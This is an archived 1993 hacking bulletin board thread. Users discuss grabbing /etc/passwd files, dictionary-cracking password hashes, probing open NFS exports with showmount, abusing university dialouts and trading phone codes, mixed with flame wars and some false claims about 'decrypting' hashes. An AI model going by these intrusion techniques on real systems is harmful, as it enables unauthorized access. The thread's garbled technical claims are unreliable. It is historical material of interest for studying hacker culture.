Date: Fri Oct 22 18:57:02 1993
Yeah .. another thing I've learned about hacking in general (I've only
been interested for 2 months or so now seriously) is that you should watch
what people say to you; ie, don't jump and do whatever people tell you to
do.
Hey man, telnet 127.0.0.1 19 and use the password 'wiz', it's an elite
backdoor.. riiiight. Don't give in to people on irc saying 'gimme ur
el3et wareZzzz'.. Don't let yourself be pushed around, ask a lot of
questions, read a lot of man pages, experiment a lot.
Persistence has, IMHO, taught me a lot more than eliteness.
green
From jasonlee@yabbs Fri Oct 22 19:06:52 1993
From: jasonlee@yabbs
To: cosmos@yabbs
Subject: re: learning
Date: Fri Oct 22 19:06:52 1993
I think one of the best ways to learn is to find some ex-hacker who can
tell you all the cool stories of the past and encourage you to progress on
your own. A mentor is what I'm suggesting. That's how I got interested
in stuff.
JasonLee
From cosmos@yabbs Sat Oct 23 15:11:29 1993
From: cosmos@yabbs
To: Green@yabbs
Subject: re: learning
Date: Sat Oct 23 15:11:29 1993
Very good observations. Well, I have been actively into the hacking state
since '85 or so. It has changed alot and in my opinion has spiraled into
a who is better than who state. Oh well. I stand back and observe mostly
now. Try to help out when possible. Flame the lamers...:)
Good luck in your endeavours.
Cosmos
From cosmos@yabbs Sat Oct 23 15:14:36 1993
From: cosmos@yabbs
To: jasonlee@yabbs
Subject: re: learning
Date: Sat Oct 23 15:14:36 1993
Not true. Cool stories of past follies does nothing than perpetuate
legend and eliteness. It is always fun to hear them and admire their
accomplishments, but it tends to put visions of sugarplum fairies dancing
in their heads....if you know what I mean. A mentor is a good thing to
have. If that mentor does nothing but encourage and teach the operating
system to you...a mentor that hands out codes and loopholes perpetuates
the problems.
Cosmos
From xenon@yabbs Sat Oct 23 16:42:46 1993
From: xenon@yabbs
To: cosmos@yabbs
Subject: re: learning
Date: Sat Oct 23 16:42:46 1993
true, but stories are good so people know what was possible at one time..
if ya kno what people have been able to do and how they did it, it
promotes a deeper understanding of the system. sumone who just hands out
codez isnt a teacher, i agree, but ya gotta know the history to be able to
understand the bare essentuals. besides, culture is something that keeps
a culture togeather...
--> Xenon
From xenon@yabbs Sat Oct 23 16:44:03 1993
From: xenon@yabbs
To: xenon@yabbs
Subject: re: learning
Date: Sat Oct 23 16:44:03 1993
er, folklore is sumthing that keeps a culture togeather...
From Intruder@yabbs Sat Oct 23 17:34:03 1993
From: Intruder@yabbs
To: wonko@yabbs
Subject: re: pword files
Date: Sat Oct 23 17:34:03 1993
Yo!
Hhehehe yah that trick isa very fuuny! i dunno why those operators dont
hide that passwd files! it is so imple to get it! i got some account on an
system this way!!! My friend try a university here in my area and when he
logoin into one of the server they were nothing so he find that strange,
and when he have do ctrl D well he saew a pomrp! yah the system was so
lame thsat when people loss crrier the system dont logoff the guyz
mouahaha! then he go to dir /etc and dl the passwd files!!!
Anyway you just chek the username if they loook like this
Bergeron::100;20:Stepahne Bergeron:/home/bergeron ...
^
there it is supposed to be the pw! so if they are nothing that means they
y
are no pw!!! the rest of the time it is encrypt thing but it is possiblre
to deecnrypt them with some mathematical operation like ADN or OR
locical!!!
Intruder/MYTH+EMPIRE is outta here!!!
From pharmer@yabbs Sun Oct 24 00:54:22 1993
From: pharmer@yabbs
To: Intruder@yabbs
Subject: re: pword files
Date: Sun Oct 24 00:54:22 1993
You can't decrypt them, but you can make brute force attacks by running a
dictionary against the encrypted passwords, get a hold of something like
cracker jack 1.4 and a big dictionary. Also, run the passwd on the system
whose file you grabbed so that you know if a word has to have a number at
some point, or must contain a capitla letter, then pre-process your
dictionary so that it meets those requirements. Of course, i am not
advocating that you do this, just that if you were, theoretically trying
to get passwords, this would be a way to do it.
-me
From Datastre@yabbs Sun Oct 24 05:56:46 1993
From: Datastre@yabbs
To: all@yabbs
Subject: <no title>
Date: Sun Oct 24 05:56:46 1993
The Sanctuary UK
+44-812042182
8pm-8am GMT
'For the sierous h/p enthusast'
h/p only.
SysOp: |>atastream Cowboy
From swami@yabbs Sun Oct 24 12:43:48 1993
From: swami@yabbs
To: all@yabbs
Subject: PGP
Date: Sun Oct 24 12:43:48 1993
So what do ya'll think about PGP?
swami
From Intruder@yabbs Sun Oct 24 13:38:14 1993
From: Intruder@yabbs
To: pharmer@yabbs
Subject: re: pword files
Date: Sun Oct 24 13:38:14 1993
Yo!
Well you maybe going to be surprised but it is Possible to deencrypt them!
since my firne din Sweden have deencrypt 26 users name with his small
program! and i can tel you the pw he find were not easy to find like
SEAME01, or NET01 thing that have absolutely nothing to do with the
udernamne! Now i am looking for a way to enter a system where i dont have
any access at all!!! is there a way to enter? i dunno with some default
username or whatver?
Intruder/MYTH+EMPIRE is outta here!!!
From Intruder@yabbs Sun Oct 24 13:40:03 1993
From: Intruder@yabbs
To: Datastre@yabbs
Subject: re: <no title>
Date: Sun Oct 24 13:40:03 1993
Hmmm
do you know if they are some OD for UK? hehehe i might be interested in
calling there! shit here in Montreal, Canada getting codez is like almost
impossible!!!
Intruder/MYTH+EMPIRE is outta here!!!
From cosmos@yabbs Sun Oct 24 15:18:40 1993
From: cosmos@yabbs
To: Intruder@yabbs
Subject: re: <no title>
Date: Sun Oct 24 15:18:40 1993
So is MYTH+EMPIRE a real K00l 3lit3 K-RaD group?? Perhaps like, NASP,
Nuke, KoK, and countless others.
Can you get me some real neato codes too??? God, I just love codes.
Cosmos
From xenon@yabbs Sun Oct 24 18:57:28 1993
From: xenon@yabbs
To: Intruder@yabbs
Subject: re: pword files
Date: Sun Oct 24 18:57:28 1993
right, you can decrypt /etc/passwd. uh huh...sure...Id love to see that
program of yers! why dont u put up the source? that wud make me a
believer!
--> Xenon
From ziplock@yabbs Sun Oct 24 19:56:41 1993
From: ziplock@yabbs
To: xenon@yabbs
Subject: re: pword files
Date: Sun Oct 24 19:56:41 1993
Decrypting passwd's in /etc/passwd is not that hard. I would venture
a guess that 90% of university computing sites have at least one
entry where the passwd is the same as the login name and away you go.
Making a test for "joe" passwd's where the user has just used their
login name for the passwd is extremely easy and doesn't produce anywhere
near the kind of noticable load that running crack with fat dictionaries
will. All you do is grab the user names, crypt them, compare them, go
on to the next one. A 300-user passwd file can be done in a minute or
two on a reasonable machine.
From cosmos@yabbs Sun Oct 24 20:22:05 1993
From: cosmos@yabbs
To: xenon@yabbs
Subject: re: pword files
Date: Sun Oct 24 20:22:05 1993
I think he meant a program like Muffet's Crack or Crackerjack. That can
match encrypted passwd's. In any case that is easy enough. I have never
seen a program to decrypt straight passwords...
Or perhaps another misinformed user... :)
Cosmos
From Kryptic@yabbs Sun Oct 24 23:45:55 1993
From: Kryptic@yabbs
To: all@yabbs
Subject: oasswd
Date: Sun Oct 24 23:45:55 1993
Just to clear up a misconception... * means that the login is notable to
be logged into noramlly.. 'x' means shadow... * would be used on shit like
ftp... not really feasable to hack on...
From xenon@yabbs Mon Oct 25 01:57:00 1993
From: xenon@yabbs
To: ziplock@yabbs
Subject: re: pword files
Date: Mon Oct 25 01:57:00 1993
what i got outta the post is that he wuz able to decrypt /etc/passwd
straight. i know bout the crypt/compare bit...no biggie in that. if,
however, the claim was to take cryped input, run thru sum algorythum, and
output a de-crypet output, THAT is what i wud like to see. However,
unless the NSA is involved, i dont think so...heh...if the NSA IS
involved, i really wouldnt like to see it either...heh
--> Xenon
From xenon@yabbs Mon Oct 25 02:00:06 1993
From: xenon@yabbs
To: Intruder@yabbs
Subject: EMPIRE
Date: Mon Oct 25 02:00:06 1993
you wouldn't happen to do 64 demos, or is it just warez? If ya do demos,
ya gotta give me a number to call and get em...
--> Xenon (still uses his 64)
From jasonlee@yabbs Mon Oct 25 02:45:35 1993
From: jasonlee@yabbs
To: ziplock@yabbs
Subject: re: pword files
Date: Mon Oct 25 02:45:35 1993
Yeah, but you didn't describe decrypting! That's just encryppting a
dictionary and comparing to an encrypted list! Not the same thing.
If you could decrypt a passwd, you could get each and every single passwd
on the system. Good luck with decryption...:)
JasonLee
From cosmos@yabbs Mon Oct 25 05:38:44 1993
From: cosmos@yabbs
To: Intruder@yabbs
Subject: re: <no title>
Date: Mon Oct 25 05:38:44 1993
Hmmmm....wow, you are just so kewl. Notice the header of this message
base....HACK. Not WaReZ...but seriously, Amiga and C64 warez groupies
always have their shit together. PAL to NTSC- fuck, I am just so
impressed.
Enjoy your K-RaD 3lit3 k0deZ kiddies.
Cosmos
From iceman@yabbs Mon Oct 25 13:54:12 1993
From: iceman@yabbs
To: Intruder@yabbs
Subject: Sigh
Date: Mon Oct 25 13:54:12 1993
Are you really as stupid as you sound? You cannot decrypt a crypt() result
since it's a 1 way hash. You can brute force them with a cracker and a
dictionary, this is no doubt what he did. It's a widely known fact, and
your not the first to consider it.
iceman [GnUL0D!!]]
From cosmos@yabbs Mon Oct 25 14:33:22 1993
From: cosmos@yabbs
To: jasonlee@yabbs
Subject: re: Pword cracker locations...
Date: Mon Oct 25 14:33:22 1993
Good one....I love it! :)
OR you can ask on alt.security, comp.security.misc, and comp.security.unix
they always jump at the chance to help out...
Cosmos
From cosmos@yabbs Mon Oct 25 14:35:37 1993
From: cosmos@yabbs
To: iceman@yabbs
Subject: re: Sigh
Date: Mon Oct 25 14:35:37 1993
Probably. Well, actually he posesses the skills to login and post, so he
cant be all that bad. Actually, I think it is great that they are letting
Jerry's Kids logon and post these days.
Cosmos
From pharmer@yabbs Mon Oct 25 15:52:35 1993
From: pharmer@yabbs
To: phragger@yabbs
Subject: re: pword files
Date: Mon Oct 25 15:52:35 1993
well, I found a copy of cracker jack in wuarchive, in the msdos uploads
section this summer, but I'm sure that it is gone now. Most decent h/p
boards should have a copy of one of them, cracker jack is the fastest I've
seen so far, the latest version I have seen is 1.4.
-pharmer
From xenon@yabbs Mon Oct 25 16:37:59 1993
From: xenon@yabbs
To: cosmos@yabbs
Subject: re: Sigh
Date: Mon Oct 25 16:37:59 1993
i like the dcc idea...ill volenteer to send it ;)...
From feralkid@yabbs Mon Oct 25 17:33:44 1993
From: feralkid@yabbs
To: all@yabbs
Subject: decrypt passwd
Date: Mon Oct 25 17:33:44 1993
Actually, there is a program out here on the Internet called the Crypt
Breaker's Workshop (or someting to that effect). Anyway, this was written
years ago by the senior Morris (Robert Morris father, who is a top
researcher for NSA). He proved that you arew able to decrypt the one-way
hash of the crypt program.
You can find this program at a good archive near you...
Feral Kid
From Intruder@yabbs Mon Oct 25 19:04:28 1993
From: Intruder@yabbs
To: Kryptic@yabbs
Subject: re: oasswd
Date: Mon Oct 25 19:04:28 1993
Yo!
Well thanks for the info !!! i know like sysadm daemon and all those
account with higher priv. have that!!! oh well no chance to hack those
snif !!!
Intruder/MYTH+EMPIRE is outta here!!!
From Intruder@yabbs Mon Oct 25 19:12:13 1993
From: Intruder@yabbs
To: iceman@yabbs
Subject: re: Sigh
Date: Mon Oct 25 19:12:13 1993
Hmm
I never say that the program really encrypt or deencrypt it find the pw i
know that hehehe, but the moethod it use i really dunno! i just know that
he cracked 26 user account there! and alot of pw were not find himself
that his for sure!!! But one my friend good in mathematics stuff tell me
some routine of deencryptiuon he cracked and it is sometime Mathematicalk
operation! so if the passw have been encrypt that way it is possible to
the opposite formula! i can ask my friend for soem formula if yah want!
Intruder/MYTH+EMPIRE is outta here!!!
From Green@yabbs Mon Oct 25 20:25:40 1993
From: Green@yabbs
To: cosmos@yabbs
Subject: re: learning
Date: Mon Oct 25 20:25:40 1993
Heh. showmount -e cert.org for a good time (the other day they had an
open export problem, no shit)
green
From octal@yabbs Mon Oct 25 23:38:38 1993
From: octal@yabbs
To: all@yabbs
Subject: re: code breakers workshop
Date: Mon Oct 25 23:38:38 1993
ftp to cl-next2.cl.msu.edu , look for cbw.tar.Z. It'
s a pretty old program, for the best crypto ftp site(IMHO), ftp to
ghost.dsi.unimi.it, it's a killer site.
From binkley@yabbs Tue Oct 26 00:10:12 1993
From: binkley@yabbs
To: all@yabbs
Subject: pacx.utcs.utoronto.ca
Date: Tue Oct 26 00:10:12 1993
Has anybody figured out what area code that out dial serves??
it called a 615 number, I tried 310, and 708, but could tell if the BBS's
were busy, or if it wasn't allow the dialing procedure...
Binkley
From pharmer@yabbs Tue Oct 26 00:45:17 1993
From: pharmer@yabbs
To: binkley@yabbs
Subject: re: pacx.utcs.utoronto.ca
Date: Tue Oct 26 00:45:17 1993
I would take a quess that it is 416, I looked up the # for utoronot
physics dept. and it was a 416#.
From cosmos@yabbs Tue Oct 26 06:22:12 1993
From: cosmos@yabbs
To: Intruder@yabbs
Subject: re: oasswd
Date: Tue Oct 26 06:22:12 1993
Okay, I have to say the following, your post was just to pathetic.
First off, you dont know shit about what you are talking about. If to you
hacking consists of running a passwd file through Killer Cracker then you
might as well stop now, you have no clue and will never achieve anything.
Use a cracker to gain one or two accounts. The real hack is the method in
which you obtain a higher access...but you would not know about that
whould you...(wait, gotta check my k-rad t-phile!)...do you even know what
perms you should look for once inside?? What the /dev/kmem file can
accomplish, the proper rwx attributes for ALL system and user files, what
to do if they are not right...etc....etc...etc...
No, I think not. And cut the MYTH+EMPIRE shit, lamer warez crap has no
place in a forum for hack discussion.
Cosmos
From cosmos@yabbs Tue Oct 26 06:24:09 1993
From: cosmos@yabbs
To: Intruder@yabbs
Subject: re: <no title>
Date: Tue Oct 26 06:24:09 1993
Oh, c0deZ....excuse me. Same thing, lame as shit.
Oh, and where in the goddamn hell did you learn to write?? Your post has
the literary skills of a three year old.
Cosmos
From cosmos@yabbs Tue Oct 26 06:24:37 1993
From: cosmos@yabbs
To: Green@yabbs
Subject: re: learning
Date: Tue Oct 26 06:24:37 1993
Cosmos
From wonko@yabbs Tue Oct 26 13:04:40 1993
From: wonko@yabbs
To: octal@yabbs
Subject: re: code breakers workshop
Date: Tue Oct 26 13:04:40 1993
another place to look is a penn state computer.
ftp.cse.psu.edu /pub/src
i got 4.7 Kbytes/s and we only have a 56Kbyte line to this machine.
the line from this machine to you is a T3, big fucking trunk line.
you should get nice speeds. l8r,
-wonko
From Intruder@yabbs Tue Oct 26 21:05:34 1993
From: Intruder@yabbs
To: binkley@yabbs
Subject: re: pacx.utcs.utoronto.ca
Date: Tue Oct 26 21:05:34 1993
Yo!
Well pacx ^ it is in toronto and it allow you to call locally there!!! the
only prolbme wiht this Gandalf system is that the delay is too fast and
when i try to call some board with v32 or DS it take too much time beofre
the connection made and the modem tell me NO MODEM RESPONSE or something
like that! if you call a board working with a HST or a 2400 you will be
fine!!! i mange to call Beyond Akira that it!!!
Intruder/MYTH+EMPIRE is outta here!!!
From cosmos@yabbs Tue Oct 26 21:11:40 1993
From: cosmos@yabbs
To: Intruder@yabbs
Subject: re: pacx.utcs.utoronto.ca
Date: Tue Oct 26 21:11:40 1993
Hmmm...maybe set the delay higher...what do you think?
Cosmos
From Intruder@yabbs Tue Oct 26 21:12:40 1993
From: Intruder@yabbs
To: cosmos@yabbs
Subject: re: oasswd
Date: Tue Oct 26 21:12:40 1993
Hmmm
hey you really think i am that stupid??? and that i only having fun in a
cking account and PW??? no fucking way!!! what i find interesting is to
acces thing i was not permitted by trying all the service doors! or by
maybe getting a hibher priv. or prop.! I duno much about priv. on UNIX
system since i just start to learn those system a few month ago! ah maybe
you are the god on UNIX but maybe i am just starting so cant do everything
in 24 hours??? and dont tell me you have start to be the master and the
best in 240 hours!!! and btw chek the hacking definition thye are laot of
meaning even putting hardware on a none specific machine is consider as a
hack! anywa that his my point and 2nd do i stress you with my /... is yes
well ill just sign up with nothing to make you feel better happy now?
Intruder is outta here!!!
From cosmos@yabbs Wed Oct 27 05:47:48 1993
From: cosmos@yabbs
To: Intruder@yabbs
Subject: re: oasswd
Date: Wed Oct 27 05:47:48 1993
Well, after reading through your post several times(I really do want to
know where you learned English writing skills), here is a simple reply.
240 hours...maybe. UNIX king....nope. I am just referring to the general
feeling after one reads your post, moron. But I do like the fact that you
did not sign your last post with a lame group sig.
Maybe it's me, but you newbies(admitted of your own accord) seem to have a
general lack of initiative. Do you even attmept to visit a library and
research UNIX, do you know what a library is?? Where do you live, have
you looked at public access alternatives to play with UNIX...you are
probably at some university since you have telnet access...play with a
UNIX account if you have one. Jesus, learning should be 95% your
responsibility and not anyone elses. Take initiative and get off your
lazy ass. Ask intelligent and pointed questions aimed at a specific
problem, not "Hey, I am new...what do I do??".
Is that asking too much??
Cosmos
From binkley@yabbs Wed Oct 27 12:32:19 1993
From: binkley@yabbs
To: cosmos@yabbs
Subject: re: pacx.utcs.utoronto.ca
Date: Wed Oct 27 12:32:19 1993
I'm from Maine! I used to call a few 708, and 310 boards, now I can't call
long distance... I need some 416 boards to call!!!! HELP ME!!!
From deprogra@yabbs Wed Oct 27 16:17:29 1993
From: deprogra@yabbs
To: Intruder@yabbs
Subject: re: oasswd
Date: Wed Oct 27 16:17:29 1993
Intruder, is english a second language to you?
From jmacneil@yabbs Wed Oct 27 17:17:10 1993
From: jmacneil@yabbs
To: binkley@yabbs
Subject: re: pacx.utcs.utoronto.ca
Date: Wed Oct 27 17:17:10 1993
What's the deal w/pacx? All I get is major garbage. I can sort of make
out the word "Selection" but thats all I can see. What do I do? How
about some 416 numbers too...
From jmacneil@yabbs Wed Oct 27 17:29:08 1993
From: jmacneil@yabbs
To: all@yabbs
Subject: ftp
Date: Wed Oct 27 17:29:08 1993
Oh yeah, does anyone know of any Telnet sites which allow FTPing over the
net to PCs (ie: Zmodem DLs..)? I only have Telnet access so far. I've
picked up a mail address but I still need to find a way to FTP to my PC.
Thanks.
From Intruder@yabbs Wed Oct 27 19:18:45 1993
From: Intruder@yabbs
To: cosmos@yabbs
Subject: re: oasswd
Date: Wed Oct 27 19:18:45 1993
Yo!
Ahhh now we seem to get to a good point now!!! ajh sorry if sometime my
english is bad! 1st of all i am not English native as you can probalby see
hehehe i am French!!! 2nd i am sometime too fast on the keyz, and dont
take time to re-read my msg. i know i should do this but sometime those
connection are so slow!!!
Well i start to learn thing about unix (yah it is on a university!) i am
now trying to get familiar with the "DOS" commands, they are so many of
them!!! And start to walk around on internet with the great help of
TELNET! and FTP as for the files servers! i have not experiment FSP yet
since i will have to install that on my system since it is not there! ah
btw i am now looking in the library since the beginning of this week and i
find some great book (well i think) so one is about Internet (it is big
book with adress and services etc.. it look like an annuary (phone book)
it vcost around $30 dunno if it is worth the money! and one very
interesting about UNIX it talk about Security on unix systems! i look the
book and they reall explain in detail and examples how to bypass security
etc.. where to find the files that are use by the systems! they talk
about how work the princip of passwd encryption! and much more it cost
around $40 (about 400 pagexs!) and i might get a general quick reference
book for unix command!!!!!
Hmm do you think the 2nd books is really worth the money??? i think so!
and it will help me to understand how to get trhu soem stuff! anywa if you
have any refz book you suggest me to read ill appreciate! and since you
know i am new well good suggestion on what to start! btw my attiude about
hacking system is not to destroy anything and i am not intending to be a
terrorist! i am looking more into to be a shadow on the system ! so nobody
will find me or bother me :-) doing my personal thing hehehe! walking
around the netz and getting higher to the top!
I am outta here!!! at WARP 10
Engage ...
From Intruder@yabbs Wed Oct 27 19:20:53 1993
From: Intruder@yabbs
To: deprogra@yabbs
Subject: re: oasswd
Date: Wed Oct 27 19:20:53 1993
Hmmm
heheheh yup!!! i can hide the truth! i am a French Canadian!!!
so that why sometime you see some bad english sorry!!!
Intruder is outta here!!!
From schief@yabbs Wed Oct 27 19:28:08 1993
From: schief@yabbs
To: jmacneil@yabbs
Subject: re: ftp
Date: Wed Oct 27 19:28:08 1993
try consultant.micro.umn.edu (login gopher) or 128.143.22.36 (login gwis)
both of these require you to hop around on the net though before you can
get any working ftp access. Try jumping over to the University of
Trondheim in Norway or DENet in Denmark, both of these work fine for me.
I'm in the same boat as you. Sucks, doesn't it?
From DrClaw@yabbs Thu Oct 28 00:46:24 1993
From: DrClaw@yabbs
To: all@yabbs
Subject: login in as uucp
Date: Thu Oct 28 00:46:24 1993
Heya all,
i just read a message on a local board about login intyo places
through uucp...now from what i know and have read i don't htink this
would work to well and even so wyou woulnd't get much privs but
i am wondering is it possible to upgrade pirvs on a uucp account?
Once you got in that is...
thanks
Dr Claw
From cosmos@yabbs Thu Oct 28 16:10:28 1993
From: cosmos@yabbs
To: jasonlee@yabbs
Subject: re: oasswd
Date: Thu Oct 28 16:10:28 1993
Oh, good point...I didnt mean to try any sensitive stuff on university
machines...I meant to learn the UNIX commands and methods. I am
currently under investigation by mine as well. I really dont care, they
are just upset that I was wandering around. Spoof mail...port 25??? No,
not me!!! *grin*
Cosmos
From xenon@yabbs Thu Oct 28 17:05:30 1993
From: xenon@yabbs
To: cosmos@yabbs
Subject: re: oasswd
Date: Thu Oct 28 17:05:30 1993
lucky me...when i wuz foolin round on my first university UNIX account
tryin all sorts of stupid shit, no one said anything...course, they did
add a bunch o new security software a little bit ago...damn hackers ;)
--> Xenon
From DrClaw@yabbs Thu Oct 28 17:42:25 1993
From: DrClaw@yabbs
To: all@yabbs
Subject: jhu dialout
Date: Thu Oct 28 17:42:25 1993
What is the address for the jhu dialout and hyow do i get onto it?
Also there is a dialout in Denver colorado area code 303
if anyone wants it mail me at
newman@suuper.suu.edu and i will gladly give it to you...
hasta
Dr Claw
From ea@yabbs Thu Oct 28 17:46:44 1993
From: ea@yabbs
To: cosmos@yabbs
Subject: re: oasswd
Date: Thu Oct 28 17:46:44 1993
I think you have everything pretty well thought out, and I agree with you
on every account.
The one thing that should be realized, of course, is that when you are
learning, (the basics, I mean, everyone is learning), you should realize
that. The way to learn is to ask, and to talk with other people. If you
start without talking intelligently, people will never take you seriously
enough to help you learn.
If you don't want to learn, or don't have the time to learn, but still
like hanging out, this too is okay. I'm not great at everything, and
really don't know much at all, (I'm not sure I have the skill that is
required), but at least I have respect of those who do have the skill, and
I realize where they come from, and where I come from..
The other important point is that unless you gain someone''s trust, and
they like you, there is no way in hell that you will learn anything,
because, in general, it is just too risky to trust people.. So if you
want to leanr, respect those who are further ahead in their field, if you
don't want to learn, or don't have the time, that is fine to, but then you
have to realize that.
I guess that this message should not haave been posted to you, cosmos,
since you seem to know all of this, but people reading it should just take
it as general advice....
Ea, he whom nothing escapes.
(But who has a tendancy to bable on at times)
From cosmos@yabbs Thu Oct 28 18:05:39 1993
From: cosmos@yabbs
To: xenon@yabbs
Subject: re: oasswd
Date: Thu Oct 28 18:05:39 1993
Yeah, true. I should point out that this is my first LEGIT account...I
had university accounts in 1985-86 as my first. And you could do
anyhting....
Cosmos
From cosmos@yabbs Thu Oct 28 18:11:59 1993
From: cosmos@yabbs
To: ea@yabbs
Subject: re: oasswd
Date: Thu Oct 28 18:11:59 1993
Yes, your post did have a clear and definate point. Unlike Intruder =who
sounds like a three year old retarded fuck. My point is that there is no
point to what he posts, just mindless rambling with no semblance of common
sense. If one asks a relavant and inteligently phrased question then it
merits an intelligent reply...unfortunately I have not seen many yet.
Cosmos
From xenon@yabbs Thu Oct 28 18:55:43 1993
From: xenon@yabbs
To: cosmos@yabbs
Subject: re: oasswd
Date: Thu Oct 28 18:55:43 1993
this discussion reminds me of the new user questioneer discussion posted
earlier. one of the defenses for having one of these rediulous
questioneers was to keep users like this intruder fellow away so
the" could talk in peace. i wont rehash everything that wuz said cuz its
all on disk if ya wanna go back and look.
my point is, intruder came on here and wasnt informed enuff in his BSing
so that other users could instantly tell that he was a beginner. everyone
makes mistakes and the smart ones will learn from their mistakes.
inturder received a quick,light, and deserved ride down to earth from the
users who bothered to respond. if hes smart, hell keep his mouth shut and
learn from the numerous resources on the internet. if hes smart, he will
learn from this experiance and his next questions will be phrased in a
more humble and intelligent way. Im not sayin that intruder SHOULDNT ask
quetions, im sayin that he should do sum learning and research on his own
before asking those questions. im not sayin that itll be a quick ride,
ive been hacking round on computers fer YEARS and I still dont know shit.
if ya really wanna know, ya gotta put a lot of time and effort into it and
dont act as if yer gods gift to the hackers. stay cool...chill...and
observe. keep yer senses open and digest everything you can...
ok, intruder fucked up. thats still no reason fer those questioneers that
can reach pages in length. he got his reward fer acting brash...and if it
keeps happening...im sure hell get more than just a tounge lashing. who
knows what hell become in a few years, tho. the "underground" needs to
keep its member list growing and those people strong. its gonna be a
tough ride, but its sumthin that NEEDS to be done to keep Big Brother out
of our lives...
stay /<ewl...stay /<alm...and stay togeather
--> Xenon
From graph-x@yabbs Thu Oct 28 18:57:51 1993
From: graph-x@yabbs
To: Intruder@yabbs
Subject: re: pacx.utcs.utoronto.ca
Date: Thu Oct 28 18:57:51 1993
can you post the number to byeond Akira ?
From graph-x@yabbs Thu Oct 28 18:59:56 1993
From: graph-x@yabbs
To: jmacneil@yabbs
Subject: re: pacx.utcs.utoronto.ca
Date: Thu Oct 28 18:59:56 1993
dude, strip the high bits, then you wont be seeing garbage.
From jasonlee@yabbs Thu Oct 28 20:23:42 1993
From: jasonlee@yabbs
To: DrClaw@yabbs
Subject: re: jhu dialout
Date: Thu Oct 28 20:23:42 1993
It no longer works. I don't think it ever did. At least, I never got it
to work correctly (dial out). I could give it AT commands, though. Give
up on it. Try to find the anonymous JHU telnet. ;)
JasonLee
From Intruder@yabbs Thu Oct 28 21:13:18 1993
From: Intruder@yabbs
To: all@yabbs
Subject: ok!
Date: Thu Oct 28 21:13:18 1993
Hmm well i just reead through all this mail!!! na di find it very
interesting!!! and i am taking your advice seriously!!! soory i fi make
some people mad and if i do errors, but you know we are all humans ! well
i hope so!!! :-) so now i am learning from my erros!!!
Hmm something i ask question they are thing i try but since i had no
success and find no documentation well i ask some people that have more
knowledge than me to help me out!!!
Like i said before i am now trying to getting documents to help me
learning!!! coz i want to learn!!! the only thing i will appreciate from
you guyz is to give me some suggestion of book of references i can look or
read and will teach me and that help me to find my answers so i dont have
to ask stupid question to everybodsy!~!! i find a book about security on
unix systems and i wonder if it was a good thing to buy $40!!! anywa if
any of you have any suggestion to help me to follow the good road and
become a sage one!!! thbanks for you comprehension and collaboration!
I am outta here!!!
From Intruder@yabbs Thu Oct 28 21:17:12 1993
From: Intruder@yabbs
To: graph-x@yabbs
Subject: hmm
Date: Thu Oct 28 21:17:12 1993
Ok the # for Beyond Akjira are
416-461-6702
416-461-9101
416-461-5114 (this one you will get no problem to connect it!)
The only problem i got while calling there is that the Gandalf Modem have
a too low delay for connection so when calling a board with a Dual
Standard it take too much toime to get the connection if you find any way
to change setup of the delay please let me know!!!
Im outta here!!!
From bruce@yabbs Thu Oct 28 21:22:47 1993
From: bruce@yabbs
To: puck@yabbs
Subject: BATMAN
Date: Thu Oct 28 21:22:47 1993
iT HAS BEEN HELL GETING ONTO THIS SYSTEM my computer is double entering
everyth time I hit the dam button. no one is out in computer land I'm sad!
From bruce@yabbs Thu Oct 28 21:23:44 1993
From: bruce@yabbs
To: BATMAN@yabbs
Subject: Hi
Date: Thu Oct 28 21:23:44 1993
it is I your other half what is up sexy?
From DrClaw@yabbs Fri Oct 29 00:35:39 1993
From: DrClaw@yabbs
To: all@yabbs
Subject: 303 dialout
Date: Fri Oct 29 00:35:39 1993
heya ll,
thos i gave the 303 dialout address to it is now asking for passwords
and accounts and i have no idea how to pass these...up until last week
ther was
no passwords and stuff.... who knows?
sorry about that....
dr_claw
From cosmos@yabbs Fri Oct 29 03:19:04 1993
From: cosmos@yabbs
To: xenon@yabbs
Subject: re: oasswd
Date: Fri Oct 29 03:19:04 1993
Good point. As for the underground, I wouldnt know. I am an
individualist; I belong to no organizations. No groups, nada. I do
things my way and for myself. Groups are the first step toward Big
Brother...
Read "Self-Reliance" by Ralph Waldo Emerson...sorry intruder, it doesnt
have pictures.
Cosmos
From phragger@yabbs Fri Oct 29 09:03:32 1993
From: phragger@yabbs
To: Intruder@yabbs
Subject: re: oasswd
Date: Fri Oct 29 09:03:32 1993
Just a note here. GOOD unix books are definelty "The Design of the UNIX
Operating System" and "Design and implementation of the BSD 4.3". Unix
network programmin is also supposed to be quite good, they mainly deal w/
kernel programming and how the system works. Ad for unix security books,
the ones I`ve gone through are quite pathetic , they simply
tell about old buhgs sometimes patched, general principles , setuids,
and some scripts one might create. (worse than Cert, almost, but not
quite)
From phragger@yabbs Fri Oct 29 09:09:28 1993
From: phragger@yabbs
To: DrClaw@yabbs
Subject: re: login in as uucp
Date: Fri Oct 29 09:09:28 1993
it`as gotta be a pretty old system for uucp accounts to be "loginable" and
to even jhave shell on the system. What you might look at is that uucp
ermissions are screwed or uux permiussions are screwed, bnut I`d doubt
that you gould
get much higher access till root happens to run one of those programs.
(which I believe cron might do, IU do not know). Bides UUCP is dying,
NNTP,SMTP and ftp are taking ovI know there are quite a lot of UUCP
only sites on the net, but it wouldn't surprise me that some systems might
have disabled UUCP access from the outside completly (never seen it
anywhere
though).
I`d be interested in any contradictoruy information (esp3cialluy on the
first statements :-).
From phragger@yabbs Fri Oct 29 09:17:09 1993
From: phragger@yabbs
To: Intruder@yabbs
Subject: re: ok!
Date: Fri Oct 29 09:17:09 1993
Just to add something here, to get comfortable w/ unix, I`d seriously
suggest just downloading all the manpages one can find and read them and
play
around / them, it`ll certainly teach you a lot (humility among other
things :-)
From horus@yabbs Fri Oct 29 13:06:19 1993
From: horus@yabbs
To: DrClaw@yabbs
Subject: re: 303 dialout
Date: Fri Oct 29 13:06:19 1993
why don't you use pgp encrpyt it and e-mail it to the guy. you could use
his handle as the key.
Horus Min /\o/\
From binkley@yabbs Fri Oct 29 23:38:14 1993
From: binkley@yabbs
To: jmacneil@yabbs
Subject: re: pacx.utcs.utoronto.ca
Date: Fri Oct 29 23:38:14 1993
Well, post a few 416 BBS's then man! You need vti925 emulation...
aokln
Binkley
From Screamin@yabbs Sat Oct 30 06:13:09 1993
From: Screamin@yabbs
To: all@yabbs
Subject: <no title>
Date: Sat Oct 30 06:13:09 1993
Just a quick hello from Australia. Wondering if youu guys could list some
1-800 carriers for me. Don't care what they are, just as long as they'll
pickup.
ta
Screaming Mutant
From Intruder@yabbs Sat Oct 30 11:09:56 1993
From: Intruder@yabbs
To: phragger@yabbs
Subject: re: oasswd
Date: Sat Oct 30 11:09:56 1993
